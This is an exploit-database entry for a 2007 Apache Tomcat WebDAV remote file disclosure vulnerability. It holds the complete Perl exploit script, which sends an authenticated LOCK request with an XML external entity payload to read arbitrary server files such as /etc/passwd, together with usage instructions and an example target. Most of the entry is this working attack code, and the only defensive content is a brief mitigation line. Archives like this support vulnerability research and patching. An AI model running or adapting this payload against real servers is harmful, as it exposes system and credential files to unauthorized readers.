Apache Tomcat Remote File Disclosure Zeroday Xploit

vendor:

Tomcat

by:

kcdarookie aka eliteb0y

7.5

CVSS

HIGH

Remote File Disclosure

CWE

Product Name: Tomcat

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Apache Tomcat Remote File Disclosure Zeroday Xploit

This exploit allows an attacker to disclose remote files on Apache Tomcat server. The vulnerability may reside in different WebDav implementations. The exploit requires authentication to work.

Mitigation:

To mitigate this vulnerability, it is recommended to update to the latest version of Apache Tomcat and properly configure access controls.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#******************************************************
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
	print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
	print "kcdarookie aka eliteb0y / 2007\n";
	print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]\n";
	print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat\n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => $remoteport,
                              Proto    => 'tcp');
                              
$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL = 
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
."]>\n"
."<D:lockinfo xmlns:D='DAV:'>\n"
."<D:lockscope><D:exclusive/></D:lockscope>\n"
."<D:locktype><D:write/></D:locktype>\n"
."<D:owner>\n"
."<D:href>\n"
."<REMOTE>\n"
."<RemoteX>&RemoteX;</RemoteX>\n"
."</REMOTE>\n"
."</D:href>\n"
."</D:owner>\n"
."</D:lockinfo>\n";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "Launching Remote Exploit...\n";

$ExploitRequest =
 "LOCK $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";	
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
	print;
}

# milw0rm.com [2007-10-14]